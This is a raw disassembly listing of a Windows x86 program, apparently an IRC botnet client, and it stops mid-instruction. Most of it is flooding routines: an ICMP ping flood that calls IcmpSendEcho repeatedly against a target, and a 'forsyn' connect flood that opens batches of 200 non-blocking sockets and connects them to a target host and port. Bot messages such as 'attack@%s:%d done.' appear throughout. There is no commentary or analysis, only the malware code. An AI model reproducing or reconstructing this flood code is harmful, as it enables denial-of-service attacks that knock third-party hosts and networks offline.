--------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_425980 proc near ; CODE XREF: sub_401609j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_425980 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_425980 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8Eh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BD0: ; CODE XREF: ___:loc_401B6Dj push 0FFFFFFFFh push offset loc_43B6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014D3 push eax mov ecx, ebp call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_425D68 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_425C3B mov ecx, eax call sub_401DD9 mov ebp, eax loc_425C3B: ; CODE XREF: ___:00425C30j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FBE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013D4 mov ebp, [esp+54h] loc_425D68: ; CODE XREF: ___:00425C11j lea ecx, [ebx+8Eh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_425EDA push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_425DAB mov ecx, eax call sub_401BC7 mov ebp, eax jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425DAB: ; CODE XREF: ___:00425D9Ej xor ebp, ebp loc_425DAD: ; CODE XREF: ___:00425DA9j push offset asc_443600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_425EDA: ; CODE XREF: ___:00425D7Dj lea ecx, [ebx+4] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_426049 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_425F1A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_425F1C ; --------------------------------------------------------------------------- loc_425F1A: ; CODE XREF: ___:00425F0Dj xor ebp, ebp loc_425F1C: ; CODE XREF: ___:00425F18j push offset asc_443600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013D4 mov ebp, [esp+54h] loc_426049: ; CODE XREF: ___:00425EECj lea ecx, [ebx+32h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4261F4 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_426089 mov ecx, eax call sub_401785 mov ebp, eax jmp short loc_42608B ; --------------------------------------------------------------------------- loc_426089: ; CODE XREF: ___:0042607Cj xor ebp, ebp loc_42608B: ; CODE XREF: ___:00426087j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_4261F4: ; CODE XREF: ___:0042605Bj lea ecx, [ebx+0EAh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_426211 mov [ebx+11Ch], al loc_426211: ; CODE XREF: ___:00426209j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4263D0 proc near ; CODE XREF: sub_401A64j var_4 = dword ptr -4 push ecx mov edx, dword_447A44 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4263F1 inc ecx mov [eax+118h], ecx loc_4263F1: ; CODE XREF: sub_4263D0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_4263D0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426450 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426450 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0DC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426450 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4264C0 proc near ; CODE XREF: sub_401F7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4264C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4264C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_4014C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426560 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426560 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426620: ; CODE XREF: ___:loc_4016D1j ; ___:0040217Bj push esi mov esi, ecx call sub_4014C4 test byte ptr [esp+8], 1 jz short loc_426638 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426638: ; CODE XREF: ___:0042662Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402090 test [esp+4+arg_0], 1 jz short loc_426668 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426668: ; CODE XREF: sub_426650+Dj mov eax, esi pop esi retn 4 sub_426650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426680 proc near ; CODE XREF: sub_402090j jmp sub_4014C4 sub_426680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266A0 proc near ; CODE XREF: sub_401A41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4266A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_40182F add esp, 10h test eax, eax jz short loc_426764 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42677E ; --------------------------------------------------------------------------- loc_426764: ; CODE XREF: sub_4266A0+9Aj mov ecx, ebx call sub_4017E4 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42677E: ; CODE XREF: sub_4266A0+C2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4266A0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426820 proc near ; CODE XREF: sub_401E7Ej var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_436840 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27D0782h mov esi, eax test esi, esi jz short loc_42688A mov edi, dword_50F8A0 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_50E150, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_50E154, eax call edi mov ecx, dword_50E150 mov dword_50E14C, eax test ecx, ecx jz short loc_42688A mov edx, dword_50E154 test edx, edx jz short loc_42688A test eax, eax jz short loc_42688A mov al, [esp+0Bh] test al, al jz short loc_426895 loc_42688A: ; CODE XREF: sub_426820+1Bj ; sub_426820+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426895: ; CODE XREF: sub_426820+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_4268AC mov [esp+24h+arg_FFE8], eax loc_4268AC: ; CODE XREF: sub_426820+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_4268BF mov ebp, 1 loc_4268BF: ; CODE XREF: sub_426820+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426904 loc_4268D0: ; CODE XREF: sub_426820+E2j mov al, byte_4D64F9 test al, al jz short loc_426904 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_50E14C ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_4268D0 loc_426904: ; CODE XREF: sub_426820+AEj ; sub_426820+B7j push edi call dword_50E154 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426960 proc near ; CODE XREF: sub_40182Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40187F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E7E add esp, 14h retn sub_426960 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401BC7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4269A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0FC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426A10: ; CODE XREF: ___:00401A19j ; ___:loc_401AAFj push esi mov esi, ecx call sub_4017FD test byte ptr [esp+8], 1 jz short loc_426A28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426A28: ; CODE XREF: ___:00426A1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A40 proc near ; CODE XREF: sub_4017FDj jmp sub_4014C4 sub_426A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A60 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426A60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E5DCF mov [esp+2Ch+var_28], eax loc_426A86: ; CODE XREF: sub_426A60+35j cmp dword ptr [ecx], 0 jz short loc_426A97 add ecx, 78h inc eax cmp ecx, offset byte_4E672F jl short loc_426A86 loc_426A97: ; CODE XREF: sub_426A60+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426C49 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E5D5Bh[eax*8] call sub_4017E4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx call near ptr 71AB2B66h nop and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426B00 mov dword ptr [ebp+68h], 5 loc_426B00: ; CODE XREF: sub_426A60+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_50E15C mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_50E35C push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 2770898h test eax, eax mov dword_50E360, eax jz short loc_426B9B push offset dword_446F74 push 5 push eax push 0 push offset dword_50E15C call sub_4013E8 add esp, 14h mov [ebp+70h], eax jmp short loc_426BCB ; --------------------------------------------------------------------------- loc_426B9B: ; CODE XREF: sub_426A60+11Dj mov ecx, esi call sub_4017E4 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_426BCB: ; CODE XREF: sub_426A60+139j lea ecx, [esp+38h+var_24] call sub_401424 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017E4 push eax push offset aS ; "%s" mov ecx, edi call sub_4014D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_426C49: ; CODE XREF: sub_426A60+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426A60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426CE0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E5D5Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_426D76 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_426D6F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: sub_426CE0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_426D76: ; CODE XREF: sub_426CE0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_426E26 mov ebx, dword_50FC30 loc_426D95: ; CODE XREF: sub_426CE0+140j mov al, byte_4D64F9 test al, al jz loc_426E26 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DAB: ; CODE XREF: sub_426CE0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_426DCB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_426DCB: ; CODE XREF: sub_426CE0+D8j add esi, 4 dec edi jnz short loc_426DAB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DDA: ; CODE XREF: sub_426CE0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_426DDA mov ecx, [ebp+68h] push ecx nop call near ptr 28302E5h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426E03: ; CODE XREF: sub_426CE0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_426E03 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_426D95 loc_426E26: ; CODE XREF: sub_426CE0+A9j ; sub_426CE0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov 